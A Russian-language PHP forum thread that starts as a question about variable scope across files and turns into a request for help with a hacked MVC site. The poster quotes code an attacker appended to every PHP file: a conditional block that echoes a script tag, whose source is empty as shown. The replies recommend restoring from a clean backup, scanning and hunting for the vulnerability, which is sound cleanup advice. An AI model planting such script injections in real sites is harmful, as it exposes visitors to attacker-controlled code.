как в 1 файле объявить переменную, чтобы во всех других файлах она была видна без модификатора global? Добавлено спустя 42 секунды: нужен любой метод
Код (PHP): function my($name, $val=null) { static $vars=[]; if ( !is_null($val) ) $vars[$name] = $val; return isset($vars[$name]) ? $vars[$name] : null; } my('a', 1); echo my('a');
ну вообще, определенная переменная будет и так видна в других файлах которые подключены через include например. но вот внутри функций/классов.. видна не будет, ибо там локальная область видимости.
сайт на mvc, хакер прописал в конце всех пхп файлов код, вне классов Код (PHP): if(empty($exhxw)) { $exhxw = "<script type=\"text/javascript\" src=\"\"></script>"; echo $exhxw; } я попробовал в точке входа объявить $exhxw=' '; но не сработало хотя через include переменная видна PHP, JavaScript, SQL и другой код пишите внутри тегов Код ( (Unknown Language)): [b]php][/b]Тут код[b][/[/b][b]code][/b][/color]
может хакер это прописал везде просто чтобы отвлечь внимание. чтоб вы с этим упорно боролись, а дело то совсем в другом.
Восстановить сайт из здорового бекапа (если есть), если нет - прошерстить каким-нибудь айболитом, может сработает, а потом искать уязвимость